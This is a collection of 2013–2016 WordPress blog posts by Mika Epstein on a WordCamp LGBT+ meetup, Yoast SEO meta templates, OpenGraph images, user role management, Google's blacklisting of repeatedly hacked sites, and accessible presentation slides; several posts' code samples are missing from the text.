### [WordCamp LGBT Tribe is Code](https://halfelf.org/2016/wordcamp-lgbt-tribe-code/)
**Published:** December 9, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** We're here, we're queer, we like beer and WordPress.
**Content:**
Last Friday we had the first ever LGBT+allies party at a WordCamp. It wasn’t really the first time we all got together, but it was the first time we stated to the world that this was what we were doing.
How did it go?
We sold out our 150 tickets. We ran out of shirts. We had an open bar and music and food (real food) and pins and stickers and a million little things. It was loud and a great many more people than I thought would show up did show up. Matt was there too.
Tracy and I kvelled about it. We never expected that. We thought maybe a dozen, or fifty at most, would show up. We thought it would be mostly the queers, filtering in and out. We thought it would be more of a flow.
What we got was a packed house. We had around 200 people who came in, queer and straight, to be there for each other and to support and hug and be there. What we got was a moment where our two tribes were there. Our nerdy WordPress people and our fabulously gay people, together, combined to remind everyone that the best part of us is the *us*.
Community is what makes WordPress so amazing. I spoke about that on Friday as well, that individually we are not our products, our code, but together we are 27% of the Internet. Individually, we are not just gay, straight, queer, trans, or ace. Together, we are the LGBT+ tribe. Together we are the queers of WordPress. We are a huge slice of WordPress and we are not alone.
I like to joke that WordPress makes queries for a reason, that WordPress is queer. And it really is. The last four years WordPress has gone from quietly supportive into publicly proud.
Thank you, everyone, who sponsored and came to the party last week. You stood up and reminded us that we are not alone. And as much as 2016 sucked, we have each other’s backs.
I don’t know how, but we will have to figure out how to do this next year at Nashville, because this was too amazing to do it as a one-off.
**Categories:** How It Is
**Tags:** community, essay, wordpress
---
### [WordCamp US - LGBT+Allies Tribe Meetup](https://halfelf.org/2016/wordcamp-us-lgbtallies-tribe-meetup/)
**Published:** November 25, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** We're inviting everyone to come hang out with diverse WordPressers at Philly's most welcoming gay bar.
**Content:**
Thanks to the undying energy of Tracy Levesque and the dollars from many donators (including DreamHost), there will be an LGBT+Allies meetup on Friday night at WordCamp US. Yes, NEXT Friday. So if you don’t have plans, or if you just want some big gay friendly hang time, we’re inviting **everyone** to come hang out with diverse WordPressers at Philly’s most welcoming gay bar.
You don’t have to be gay to come, but you have to be gay friendly.
> WordPress is welcoming to people of all cultures, beliefs, and sexualities. In celebration of our community, we decided to have an unofficial (non WordCamp sanctioned) meetup of the LGBT WordPressers and their straight allies. The celebration will be during WordCamp US at Stir Lounge, Philly’s most welcoming gay bar.
>
> We’ll have most of the place to ourselves with delicious food from The Khyber Pass Pub and an open bar.
>
> This event is made possible by our generous sponsors!
>
> [YIKES, Inc.](https://yikesinc.com/) • [DreamHost](https://www.dreamhost.com/) • [WPEngine](https://wpengine.com/) • [rtCamp](https://rtcamp.com/) • [Cornershop Creative](https://cornershopcreative.com/) • [Automattic](https://automattic.com) • [1SEO.com](https://1SEO.com)
>
> Bring your rainbow pins and your smiles.
Personally, I think now, more than ever, it’s important to know where your tribe is and that we’ve got your back.
You can get a ticket (for a whopping $0) at [lgbtwp.ticketleap.com](https://lgbtwp.ticketleap.com/lgbtallies-meetup-during-wcus/)
[](https://lgbtwp.ticketleap.com/lgbtallies-meetup-during-wcus/)
**Categories:** How It Is
**Tags:** essay, event, freedom, wordcamp
---
### [Yoast Custom Meta with CPTs](https://halfelf.org/2016/yoast-custom-meta-cpts/)
**Published:** November 30, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Making for better SEO without having to think, just by using some elbow grease.
**Content:**
Remember Monday when I was [learning about how I was ignorant of SEO from OnPage](https://halfelf.org/2016/onpage-fleek/)?
Right so here were the odd keyword notes it told me I needed to take care of and I had no idea what was going on. I mean, I looked at this and stared:
- Add the keyword `kima greggs` in the meta title
- Add the keyword `kima greggs` in the meta description
- Add the keyword `kima greggs` to the content of your page
- Add the keyword `kima greggs` in the headlines (`` to ``)
- Add images and include the keyword `kima greggs` in the image’s ALT tag
Then I did what every intelligent person does when faced with an unknown to-do. I read directions.
> The title tag defines the title and is displayed as the page name on the browser tab. The title is very important for search results. It is the heading used to display the search result and is crucial for the ranking.
Now I actually knew, from having gone through every single tab in Yoast SEO, that titles and metas are handled from the plugin (Yoast > Titles & Meta > Post Types) and, by default, they’re set to be this: `%%title%% %%page%% %%sep%% %%sitename%%`
Which translates to: “Pagetitle Number — Sitename”
Or in the case of Kima, it’s “Kima Greggs — LezWatchTV” (since I never have any numbered pages for those).
Cool, right? So it was there. Done. I also knew that the name was in the headlines. It *wasn’t* (and isn’t) in the content of the page, but I’ll accept that SEO hit since contextually it doesn’t work for what I’m writing. Similarly the image thing I handled by having the one image uploaded to the custom post type be the character photo with an alt tag and title of the character name.
You see how I’m cheating.
That left me with the meta description and a new question. You see, what I wanted the description to be would be “Kima Greggs, character on the following TV shows: \[list of shows\]” and what I *didn’t* want to do was manually type that for 1000 characters. Who would, right? Again, I knew Yoast had a way to customize that!

You can see in the above screenshot I already changed the title to remove `%%page%%` since I know the pages will never be paginated. But the “Meta description template” I needed to address. First is the easy part. I want to document that the character is on a TV show. Fine: `%%title%% is a character on a TV show` and for TV shows, I could do `%%title%% is a TV show` and that worked.
Of course, I wanted to add what stations a TV show was on, which meant I needed to use `%%ct_%%` which lists the post’s custom taxonomies, comma separated. Except it didn’t seem to pick up things for my custom post types. Turns out [this is a bug](https://github.com/Yoast/wordpress-seo/issues/3364).
When I added this: `%%title%% is a TV Show on %%ct_lez_tags%% %%sep%% %%excerpt_only%%`
It displayed this: ``
That was the easy stuff. When I got to characters, it became a lot messier because of how data was stored. To do the basics I looked at what my custom fields were and came up with this:
`%%title%% is a %%ct_lez_sexuality%% %%cf_lezchars_type%% character played by %%cf_lezchars_actor%% on %%cf_lezchars_show%% %%sep%% %%excerpt%%`
Now that *should* have turned into “Jane is a Lesbian guest character played by Anonymous on Fake Show…” but what actually happened was “Jane is a Lesbian guest character played by Array on Array…”
I knew why. Those two values are arrays. Which meant I had to come up with some new code.
What this does is creates a *new* template variable called `%%actors%%` and that lists the actors with their names separated by commas (yes, some people have multiple actors, have you even heard of US soaps?). The one for shows is more complicated since it’s a post type referencing another post type (shows *and* characters are post types), but it’s the same general concept.
In the end I went with this: `%%title%% is a %%ct_lez_gender%% %%ct_lez_sexuality%% %%cf_lezchars_type%% character played by %%actors%% on %%shows%% %%sep%% Clichés: %%ct_lez_cliches%%`
It crams a lot of information into a small place, but it’s also all the important stuff.
**Categories:** How To
**Tags:** coding, development, seo
---
### [OpenGraph Images and Taxonomies](https://halfelf.org/2016/opengraph-images-taxonomies/)
**Published:** December 7, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Making a custom open graph image for a taxonomy is harder than it looks.
**Content:**
As I worked my way through optimizing the SEO for my Dead Lesbians, I hit a recommendation that I found difficult to handle. It was presented simply. Add an open graph image to the page.
The problem was the page was a category page (a custom taxonomy).
## Easy: Yoast’s OG Image
The easiest solution if you’re using Yoast SEO is just to make a custom image and upload it. Go to the taxonomy page, edit it, go to the Yoast section, click on the sharing icon, and you’ll see what needs to be added.
If you want to automatically handle the open graph image with Yoast SEO, it’s filterable.
This means if you have a specific image for a category if the image doesn’t have a post thumbnail, you could do something like this:
That’s really bad code, by the way. There are smarter ways than hard coding, especially since you can do some pretty nice stuff with [primary categories](https://github.com/Yoast/wordpress-seo/issues/4038#issuecomment-242202543) in Yoast SEO. I would probably have it grab the primary category for the post, force the image, check to make sure the image exists, and have a fallback (just in case someone else added a new category).
The problem is that the filter doesn’t work on categories and taxonomies because they don’t have the filter set. Posts and pages are fine. Not categories.
## Easy: Adding via wp\_head
Adding in an open graph image via the `wp_head` action is similarly possible.
This is extendable and you can customize it to be as simple as my example or as complex as pulling a specific image per category or featured image, depending on your theme.
## Not Easy: Reality
Besides the fact that I can’t use Yoast’s filter for categories, I had a bigger problem. The way I designed my theme, most of my taxonomies had a custom image picked. The images are all SVGs. And you know what doesn’t work on OG images? Yeah, SVGs. Good news was that I had a copy of all the images as a PNG as well, so I was able to use the second method to create default images using the PNG.
More bad news? I didn’t actually know how to grab the taxonomy ID. While WordPress has a handy function [`is_tax()`](https://developer.wordpress.org/reference/functions/is_tax/), I couldn’t use a global like `$post` to grab a `$tax->ID`. Thankfully I could use `get_queried_object_id()` to set my term ID like this:
Obviously I know where I’m storing the images. You’ll want to change that for yourself. I went with a fallback image of “square” in case there wasn’t one available, just because I hate having nothing show. Also here I only wanted the custom taxonomies to have this image, not the regular categories and tags.
**Categories:** How To
**Tags:** coding, wordpress
---
### [Custom Meta, Keywords, and Taxonomies](https://halfelf.org/2016/custom-meta-keywords-taxonomies/)
**Published:** December 5, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Using focus keywords to streamline a relatively random page.
**Content:**
As I continue using OnPage, I was able to make some pretty fast gains. All the work I did with [Yoast and CPTs](https://halfelf.org/2016/yoast-custom-meta-cpts/) immediately saw me picking up higher rankings for some of my keywords. That meant I had successfully optimized the pages for shows and characters.
The hard work happened next. See one of the terms I wanted to rank for was “dead lesbians” and if you look at that right now, we’re not in sight. We own the domain `deadlesbians.com` which sends you to `https://lezwatchtv.com/cliches/dead/` but how do we amp that up?
I don’t want to have to customize every single taxonomy and, initially, I had the default titles set: `%%term_title%% Archives %%page%% %%sep%% %%sitename%%`
This translated into “Dead Archives – LezWatchTV” and that’s pretty good but it could be better. Since I’m talking about character clichés here (characters have clichés and shows have tropes you see), the title could be better as “Cliché Archive: Dead Queers” and that takes two changes. First I rename the taxonomy to “Dead Queers” and second I changed my default titles to be prettier. But that made me think of a couple things.

If you look at the above screenshot, it shows that I only have an ‘orange’ for a good title. After some fiddling, I determined that `Character Cliché Archives for %%term_title%% %%page%% %%sep%% %%sitename%%` gave me green results, though not a full bar. The reason here is that the length of what you’re using matters. Meta descriptions should be around 160 characters ([Yoast’s crew have seen 135-250](https://yoast.com/meta-descriptions/)) but meta `titles` are a little odder.
Before I get too far into that, I have to explain that there is one annoying thing about keywords when it comes to taxonomies. If you have the premium version of Yoast SEO, then you can pick multiple keywords for posts and pages. You **can’t** do it for taxonomies. That means even though my page is named “Dead Queers” I was going to have to manually give it a custom keyword and handcraft the title.
I do *not* recommend this in the long run for everything. And in fact, this is the only place I plan on doing this. I manually made the keyword ‘dead lesbians’ and worked from there. Doing that gave me a different sort of direction, since I got the following message:
> The SEO title contains the focus keyword, but it does not appear at the beginning; try and move it to the beginning.
Of course. That made perfect sense and I changed the title to start like this: `%%term_title%% Character Cliché Archives`
Once I had done all that, I went back and changed the focus keyword to “The big list of dead lesbians.” Now this is *not* a keyword. But it lets me do this: `%%focuskw%% A collection of all queer female TV show characters who have fallen prey to the cliché of %%term_title%%.`
Originally I wanted to make a custom term meta and variable (like I made for `%%actors%%` and `%%shows%%`) but I couldn’t get it to output. Since the focus keyword is there to help me optimize things, I don’t see anything wrong with this but …
> Warning: the variable `%%focuskw%%` cannot be used in this template. See the help center for more info.
That’s what happened when I tried to set that on the Taxonomies page. And I can see why. It’s frustrating though, since I really do want it just not to show if I don’t have it set.
In the end, I had to make that page the one with a super custom meta.
> The big list of dead lesbians. A collection of all queer female TV show characters who have fallen prey to the cliché of `%%term_title%%`.
We’ll just have to see how that goes. I would much rather make it as flexible as possible, and lot of this would be easier if I was using a specific page and not a custom taxonomy listing. But there are still some limitations when you’re working differently.
**Categories:** How To
**Tags:** plugins, wordpress
---
### [OnPage is On Fleek](https://halfelf.org/2016/onpage-fleek/)
**Published:** November 28, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Keywords and content are just the tip of the iceberg.
**Content:**
I’ve gotten back into using [Yoast SEO](https://wordpress.org/plugins/wordpress-seo/) (I like to say, I don’t always use SEO plugins, but when I do I use Yoast), and I noticed they’d added integration with [OnPage.org](https://onpage.org). Of course I did remember this being added to the plugin in general, having chatted about it with Yoast and his crew, but at the time it really didn’t seem like anything I needed.
Flash forward, and it’s 2016 and while I certainly *can* do all the things it takes to set up a site and make it’s SEO sing, a person can always learn more. So I set up an OnPage account and went to town.
Actually I stared at it.
You know how people say the WordPress dashboard can be overwhelming when you first look at it? Yeah, so was this. There were a lot of options. A *lot* of options. And a lot were sales things. Then there were a hundred pages of ‘metrics’ which I confess I didn’t understand what it fully meant. While I was still capable of churning out page after page of valuable content, and having context be my SEO queen, some of the nuances of what made pages ‘good’ to search engines was clearly being lost to me.
Like I said, a person can always learn more, so after feeling dejected at myself, I decided to sit and study up. How was I going to master all this and understand how to make my site better and the content more search engine friendly? I knew once I got people to the site, the content would be useful, but getting them there was the nature of advertising (something difficult to target when no one aims ads for lesbians) and word of mouth.
Thankfully OnPage has a tool Navigator, and once I started using it everything became clear. It walked me through the basics of setting up my site. It detected I used WordPress, it directed me to install an SEO plugin (Yoast of course) and then gave me step by step tasks to get those simple, basic wins.
The first 18 tasks were things I’d already done, like hooking up Google Analytics, signing up for Google and Bing Webmasters, submitting my sitemaps, etc etc.

And then I hit the section about Keyword Pages.

That confused me since I knew the page that the keyword “kima greggs” should point to is `https://lezwatchtv.com/characters/kima-greggs/` (pretty obvious when you see it, right?). I clicked on the link to complete the task and was surprised.

The bottom part of the page was a list of pages on my site, and none of them was the right URL. Oh dear. I entered it in manually and hit save. That presented me with new tasks:
- Add the keyword `kima greggs` in the meta title
- Add the keyword `kima greggs` in the meta description
- Add the keyword `kima greggs` to the content of your page
- Add the keyword `kima greggs` in the headlines (`` to ``)
And then there were a lot more which were pretty easy but those… Well those led me down a path that will be continued later.
The lesson to take here is that if you’re trying to figure out how to optimize SEO past the easy basics, OnPage can teach you about how you’re doing it wrong. It can teach you how to do it right. And eventually you can optimize things with the conscious understanding of why the code does what it does.
**Categories:** How It Works
**Tags:** seo
---
### [Managing User Permissions](https://halfelf.org/2016/managing-user-permissions/)
**Published:** November 23, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Managing users on your site can be a big mystery, but it doesn't have to be.
**Content:**
When it’s just you writing on your site, WordPress user management is incredibly basic. You have one user, you, and you do all the things. If you’re a little neurotic, you have one user who is an editor to write all your posts, and one who is an admin to do the admin things, and you religiously log in as the editor.
But when you have a site with multiple authors, how do you handle them and their permissions? And what do you do when they leave?
## Lowest Common Denominator
The most important thing to remember with any CMS or tool is to give users the *lowest* possible permissions. The people who are admins can do *anything* so they should be restricted to just the people whom you’ve discussed responsible administration, how to handle things, and who the ultimate top technical boss is. The [Roles and Capabilities](https://codex.wordpress.org/Roles_and_Capabilities) of WordPress can be very daunting, but the summary is very important:
- Super Admin – somebody with access to the site network administration features and all other features
- Administrator – somebody who has access to all the administration features within a single site.
- Editor – somebody who can publish and manage posts including the posts of other users.
- Author – somebody who can publish and manage their own posts.
- Contributor – somebody who can write and manage their own posts but *cannot* publish them.
- Subscriber – somebody who can only manage their profile.
## The Administrative
I strongly recommend limiting your Admin accounts to less than 5. *Most* people don’t need to be an admin. In fact, the only annoying thing an admin is needed for would be adding new users. Everything else that they can do is, properly, administrative and requires some technical knowhow. You don’t want your copy editor updating a plugin that breaks a site, after all.
Editors are like your moderators. They can approve posts, edit them, handle comments, and more. They *cannot* install and upgrade code, however, which is good. Admins (should) have server access, after all, not Editors. If you think of it that way, you may go less crazy.
## The Writers
Your post writers come in two flavors: Authors and Contributors.
The difference here is minimal but important. A Contributor *cannot* publish posts, and more importantly they cannot *edit* posts once published. That makes Contributor a good role for guest posters, or irregulars. If you need to review and approve every post before it’s live, this is the role for your writers. On the other hand, an Author should be someone you trust won’t go back and make naughty changes to posts after they’re approved and published.
The biggest ‘flaw’ in Contributors is that they cannot upload files. This can be annoying, I know. If you need more robust tools for your writers, services like [CoSchedule](http://coschedule.com) and plugins like [Edit Flow](https://wordpress.org/plugins/edit-flow/) may be up your alley.
## The Departed
I don’t mean dead. What happens when your writer quits? You don’t want to delete their posts (probably) but you do want to balance their access with your security. The simplest solution is to make them a Subscriber. This means they can just read and leave comments on your site and nothing more. Their posts will still be attributed to them, but they cannot be edited.
Of course, it the departure is less than amicable, another solution is to make them a Subscriber, but then change their email and password. If you use Gmail or GSuites, a super quick email fix is to create an alias like `blogadmin+username@gmail.com` for your users. For example, if the removed user’s login ID is `johnsmith` then I would create the email `blogmaster+johnsmith@example.com` and use that to own the ID. This prevents `johnsmith` from being able to log in and change his password again.
For cPanel you’ll need to use forwarders and for Plesk you need aliases. Both require setting them up on the server side. Sorry.
## Custom User Roles
I say this with a heavy heart. *Most* sites need to stay away from this. The basic five roles will suffice for most situations, and you should really try them for a while before dismissing. Adding in new users roles in WordPress can end with no one having permission to do anything. If you use custom roles, please be *very* careful and make sure you know how to restore basic user permissions in a pinch.
**Categories:** How To
**Tags:** management, permissions, wordpress
---
### [Chronic Infections: Blacklisted](https://halfelf.org/2016/chronic-infections-blacklisted/)
**Published:** November 16, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Google will be blacklisting repeatedly infected websites. This will be interesting.
**Content:**
If you use Chrome, you may be used to those warnings about how a site is dangerous (or hacked) and maybe you shouldn’t visit it. If that happened to your site, you’d get an email if you use Google Webmasters (which I recommend you do), and then after you clean it up you can ask for a rescan. Or if you don’t, Google will rescan the site after a while and if it’s clean, carry on.
That ends.
Google found out something we’ve all known for a while, and that’s people can be evil and malicious. And what they’ve done is created a ‘repeat offenders’ blacklist, for sites that clean up only to allow themselves to be reinfected. As they say, [“Sites that repeatedly switch between compliant and noncompliant behavior within a short window of time will be classified as Repeat Offenders.”](https://support.google.com/webmasters/answer/7104997).
This is dangerous for users when a hack is outside their control.
The number one cause of reinfections is not plugging the hole. In the case of things like WordPress, it’s down to upgrading everything, deleting anything with a known hack or backdoor, and locking down users. Hacks like Pharma, where the database becomes vulnerable and repeatedly re-infects a site, are thankfully rare for WordPress, but the same cannot be said of other CMS applications.
And far worse than that is this. By which I mean what happens when your *ad network* is the cause of a hack?
Recently, a friend of mine was hacked and got upset that his webhost’s scan of his site said it was clean, while Google did not. In looking at the site, I pointed out the hack was from his *ads* and not the files on the webhost. His webhost’s scanner didn’t hook into Google’s Safe Browsing service so of *course* it didn’t come up. He was pissed off about the host missing it, but once I explained why, he realized the magnitude of the issue.
By adding an ad service to your site, you’re effectively trusting their behavior. And some ads are pretty scummy. While Google Adsense (and others) are usually pretty quick to kick-ban those idiots, the damage will be pretty hardcode. It takes but a small moment for a high-traffic site to serve up enough malware to make that attacker’s plan worthwhile. And worse, if the same kind of person get in again and again (which happens) and your site is infected multiple times, you will end of on the shit-list.
Thats enough FUD on it. Let’s talk about mitigations.
We’re all going to need to get better at figuring out where the malware is from. All of us. Security companies are going to lose money if they can’t stop repeat attacks, and since even the best firewall can’t stop shitty ads, all our scanner tools are going to need to be better about detecting what the cause is and where it’s from. This is going to be hard, since the ad may be gone by the time the site scan runs.
Google will need to tell us what they know a lot better. I don’t know if they will, but they’ll need to figure something out. At the same time, I get why they may not want to. It tips the hand to tell malicious people exactly how you caught on to them, but at the same time telling people “Your ads are serving up malware” would be impactful and hopefully not too harmful. I’m on the fence there.
Finally, we *all* know ads on the internet are shit. We’re all barely making money off them. So if you get infected by an ad vendor twice, it’s time to turn those ads off and look for something new. If that ad vendor is Google, open a ticket with them and provide evidence that they’re hurting your SEO and could cause you to get on that repeat offender list.
Yes, this is making a hard decision, but it’s one you must make. If you’re being betrayed by your ads, you need to quit them.
**Categories:** How It Works
**Tags:** administration, advertising, security
---
### [Clear Communication](https://halfelf.org/2016/clear-communication/)
**Published:** November 14, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** There will always be room for debate.
**Content:**
“Your guidelines should be so clear as to not permit so much wriggle room,” he said.
I started at my screen for a moment, feeling my neck heat up with the sheer arrogance of his implication. Besides the fact that I did spend quite a bit of time trying to make them as transparent and clear as possible, it’s a known impossibility.
Anyone who’s ever written anything knows that it will always be interpreted by someone in an unintended way. Have a look at the US Constitution, which we’re still arguing about to this day. It’s categorically impossible to write anything in a way that will be perfectly understood by everyone who reads it, past, present, or future.
Let’s step back though and think about what the post of such a statement might be.
Everything we write for the purposes of education should be as clear as possible, in order to minimize confusion. We can all agree on that. Guidelines, documentation, how-tos, and the like are all for education. When you write a story, a novel for example, you don’t need to write for clarity but for a different purpose. I won’t get into that today.
To that end, his statement was correct. We *should* write our guidelines not to permit wriggle room.
However when we consider what the guidelines were, and please note they are indeed guidelines and rules, we hit a different situation. Guidelines are meant to direct people into doing what is expected of them. Some can be as clear as “Don’t steal” but others have to be a little more broad like “Don’t hurt people intentionally.” That’s a very big statement, and while it’s certainly a good guideline for any group, enforcing it without specific examples is always going to be problematic.
The difference between rules and guidelines is that rules can be clear, while guidelines must allow for interpretation. And even with rules, it’s categorically impossible to write them in a way that will never ever be misconstrued.
So what do we do?
We write things as clearly as possible. We state, upfront, that the guidelines have an intended purpose and what that is. We remind people that the guidelines cannot cover each and every possible permutation of events. We admit that some of these will be up to the discretion of the people enforcing them. We write a disclaimer that we are human and we are mortal.
We do our best. And if someone says “These could be better” we ask “How? Please help.”
I can tell you from experience, less than 1% of people who complain about your guidelines will help, though.
*Comments on this post have been disabled.*
**Categories:** How It Is
**Tags:** documentation, essay, writing
---
### [Revealing Slides](https://halfelf.org/2016/revealing-slides/)
**Published:** November 7, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A little bit of insight in how I customize my slides.
**Content:**
I’ve struggled with my slides for years. At first, like a lot of people, I made them showy and crammed with content. Then I had a serendipitous meeting with Laura Legendary and talked to her about the [accessibility of slides](https://halfelf.org/2014/your-slides-suck/). Which was, in short, mine sucked. Yours probably do to.
Over the next 18 months, I’ve transitioned from amusing images and gobs of data to a header with images, to a header and subheader, and maybe a bullet list when needed. The amount of text on the slides are minimal. They’re not there to teach you code, because that’s a futile attempt in the first place. Learning to code from slides was a bad idea in college, and in a 30 minute session with 15 for questions, it’s worse.
Remember college? Class was where you talked about the theory and the principle and the ideas. You got the history and the concepts and (in math class) the formulas. Sometimes you were told to look in your book because the formula was huge. Then you went to the labs and you talked about it again and did ‘experiments’ to turn the theory into reality.
Perhaps instead of contributor day we should have lab day. Day one is sitting in presentations. Day two is learning how to apply what we learned, with the presenters as the instructors. Learned about CSS and flex box? Okay, let’s all build a flex box together!
But we don’t. We try to cram everything into a session, to teach people the theory and the reasons why you’d use responsive CSS. And we try to give people examples and code and links. And we hope we inspire them enough to learn more and try it on their own.
A year ago, I stopped putting *practical* code examples in my slides. I still do code, now and then, but I limit it as much as I can. It’ll always be hard for someone to read, it’ll always be hard for someone to understand. And I’m a very haptic learner, I learn by doing and not by reading, so I need that Hello World example to read through and try myself.
Once I decided to do that, I slowly started stepping back my images in slides. If I need one for explanatory purposes, I’ll use it, but otherwise I keep it to plain text. And in keeping to plain text, it allowed me to reconsider my slide options.
[I still use Reveal.js](https://halfelf.org/2014/all-is-revealed/) and I love it. [Reveal.js](http://lab.hakim.se/reveal-js/) is clean and direct to use but sometimes it’s a little plain. It’s a little weird to add a header and a footer, and they can get cluttered and annoying and I sat down to decide what I wanted to see in my slides.
1\) The emphasis is on the content
2\) The ‘credit’ to my company isn’t distracting
3\) A handy way for people to see the link to the slides
The third one makes more sense when you remember that I use this to display my slides live. If I tell people to go to `helf.us/wcsea2016` and I want them to remember this halfway through the talk, I need a link. I also want the slides to be there for the blind to follow along. They can plug in their screen reader and hear the slides as I go through. In addition, I have the speaker notes already in my slides. Just for added fun.
[](https://halfelf.org/wp-content/uploads/sites/2/2016/10/myslides.png)
If you look at my current slides, you’ll see I have a ribbon that looks like the GitHub fork ribbon on the upper right, and a button link to my company, DreamHost, on the lower left. This is done with CSS and an image. The image is the DH logo, but the rest… Well it gets done by this:
The ribbon is via [Fork me on GitHub CSS ribbon](https://github.com/simonwhitaker/github-fork-ribbon-css) by Simon Whitaker, and it’s a quick line of code. The powered by stuff is my own CSS:
I don’t always use it. I have a file called `/assets/css/dreamhost-powered.css` that I call for this. If I don’t want to use that and instead want to brand differently, I can use any other CSS file because it’s all just HTML.
**Categories:** How It Is
**Tags:** css, js, slides
---
### [Your Slides Suck](https://halfelf.org/2014/your-slides-suck/)
**Published:** January 13, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** And for the record, my slides suck too. They suck because they're not accessible.
**Content:**
At WordCamp Las Vegas, I had a watershed moment of privilege realization. I’ve had these before at WordCamps, like Portland where I realized how much I rely on my phone for the Internet, and what that actually means to other people (thank you [Eric Mann](http://eamann.com/) for that one, you should post those slides!). This time it was as simple as AccessibleJoe asking my new friend, Rebecca, if she could help him. I glanced over and saw that Joe was sitting with Laura Legendary.
Laura’s blind.
In that instant, the very second I saw her cane, my mind wiped out every single thought I had and focused on this. “Holy crap, my slides are worthless. Not just on the screen today, but when I give the URL out, because they’re all IMAGES.”
See, while I use SEO slides, my slides are a PDF imported from PowerPoint, which makes them a bit honking waste for her. No text. No tooltips. The deaf similarly were left out until they read the text posts I tend to make as a follow up to my slides, but since my slides are a counterpoint, or emphasis, to my speaking, I really greatly on what I say and how I say it. That means my slides are *absolutely worthless* to anyone who is differently abled.
When Rebecca needed to go away before Joe got back, I offered to take over, introduced myself, and said “I’m sorry, my presentation slides are worthless to you.” Laura was kind enough to explain to me the situation, demonstrate how she used her phone (before her own presentation where she showed everyone exactly how much running a website sucks. It blew my mind when she said there was only ONE theme she could find that was accessible on the front and back end so she, a 100% blind person, could manage her site all herself. And then she only had one plugin for an estore that worked.
 One.
Single.
Theme.
If that doesn’t slap you in the face and make you think you’re doing something wrong with your programing, allow me to do this for you.
*We suck.* We are inconsiderate. We are selfish. We are ignorant. We have no idea how hard the web is for people. Even though I do spend a lot of time working on my site to make it easier to read for the visually impaired (that is people who hate small fonts), I have no idea how crap my site is for the actual blind.
Want to know how bad it is? Close your eyes and try to use your site. Go on, make a post. If you’re on a Mac, there’s a tool built in for this. I played with it the other night and was galled at how hard it was to get around the customizations of a theme. To write code, I rather expected to be hard, but the theme settings (not the customizer built in, the settings from Genesis) were not very easy, even though I knew what I was looking for.
So my pledge to this starts here. I’ll be making **all** my slides on SEO slides from now on, with long descriptions and alt text for everything, to make my slides more accessible. I will continue to speak clearly concisely, and more over, I will print up my slides notes in advance so I have them right there without having to use PowerPoint.
I love PowerPoint’s ability to have speaker notes, but it relying on them means I made my efforts fail for some people, then it’s time to do something new and different. I’m still going to keep my slides with few words on it, but with the SEO Slides features, I’ll be able to show the ‘notes’ (I hope, right guys?) so the deaf can read and follow along. It’s not perfect, but the only other idea would be to learn sign language, or get my wife’s up to the level where she can do that for me.
Challenge accepted.
**Categories:** How It Is
**Tags:** design, essay, slides
---
### [SEO Slides Is A Pie](https://halfelf.org/2013/seo-slides-pie/)
**Published:** November 15, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** SEO Slides. Not entirely what I need, and possibly too expensive for what I'll use it for. But still a really good plugin and service.
**Content:**
*This review is of the FREE version during the beta release!*
I wanted to love you. All my friends rave about you and tease me for using PowerPoint. “Don’t you want to own your data!” they harangue me. And it’s true, I do! So the idea of having my slides on my server, embedable into posts? Hey that sounds great!
The cake, is, alas, a pie.
It’s not really a ‘lie’, but there are points that I just don’t love like they do. This is not to say I don’t like it, in fact I am happily using it, and I’m going to keep using it, and for a lot of people, this will be perfect to make slides. It’s not (quite) perfect for me, but that’s because of my current usage. I can see the future of slides and WordPress, and it really is going to be SEO Slides for many (if not all) of us.
Before I get deep into this, you have to register to import PDFs. This is perfectly fair and understandable. They’re converting a PDF into images on *their server* and importing. Okay, I’m jiggy with that. I could conceivably make the images myself, but this is fine. The problem, or rather the part I don’t like, is that they really all just images. And they’re named things like `c6ddd0b82e5a45c70fb2718869cad3e1-7`. So once I import, I have to go back and change all the titles and (if I want) copy in my notes.
So why not just write it in SEO Slides? Because of Presenter View.
Say what you want about PowerPoint, but the fact that I get a presenter view, filled with my notes, is actually very important to me. I make notes, as you may have noticed reading my post from WordCamp Portland, 2013. Sometimes they’re *exactly* what I’m going to say, sometimes they’re slightly different bullet points than my slide has. Sometimes I have NO bullet points on the slide, so they’re all in the text. I really try to *use* that aspect of Power Point. I don’t really script my talks to 100% detail, but I treat those notes as flashcards to keep me on topic and on pace. They even will have time notations.
As a presenter, keeping to my time limit and topic is important to me. Since I do give similar talks a lot (example: I used ‘A Tale of Two Servers’ to talk about Managed WP hosting in Boston, but I also have a Degrassi themed one called ‘Whatever it Takes’), the notes are often the same, but the pacing will be different. I try to cater to my audience. For now, this is the absolute number one reason I’m sad-panda about the plugin. But if that’s not your thing? You have no worries!
The important factor to me is embed-ability. I have to be able to embed my content on a page. I use that page with a custom shortlink and put it in my slidedeck. Now with SEO Slides, I can just use the page, but it doesn’t let me put text or notes around it, so I’ll still want this to be embedded. Problem? Embedding with SEO Slides is not as obvious as you’d think. I read the [Embedding FAQ](https://seoslides.com/faq/#embedding) and this just did not happen for me:
> When you “Publish” your presentation, you will be provided a link to “Use presentation in a new post.” This option will embed your presentation directly into a new blog post.
I thought I was doing something wrong, but finally I realized the ONLY way to get this “Use in presentation” link was to save the post once published. Gah. Why not a nice button? Still, this was not insurmountable, and in the end, I really did like the look of the embed way better than the Slideshare one.
Except … I’m not really thrilled with having to upload all my media. It makes me want to make a dedicated SEO Slides site on my network so I can isolate content. Part of the issue is with how I like to write my slides. I know for a WordCamp where I speak for 45 minutes, in order to leave room for questions, I should have no more than 30 slides, and that’s only if I’m doing roughly a slide a minute! I try to keep it closer to 20-25 honestly. A 45 minute talk should have at least 5 minutes for questions. I like to keep the text on my slides minimal, so I have a lot more to actually talk about.
I hate slides that are pretty much what the person reads off… thanks. And that’s really a totally personal thing, but it means my slides are really image heavy. So that adds a lot of weight to a site. It’s not a plus or minus, just something I have to consider.
The other problem with embeds is the embed CODE. You get a lot of parameters but the ones that jump out at me is this:
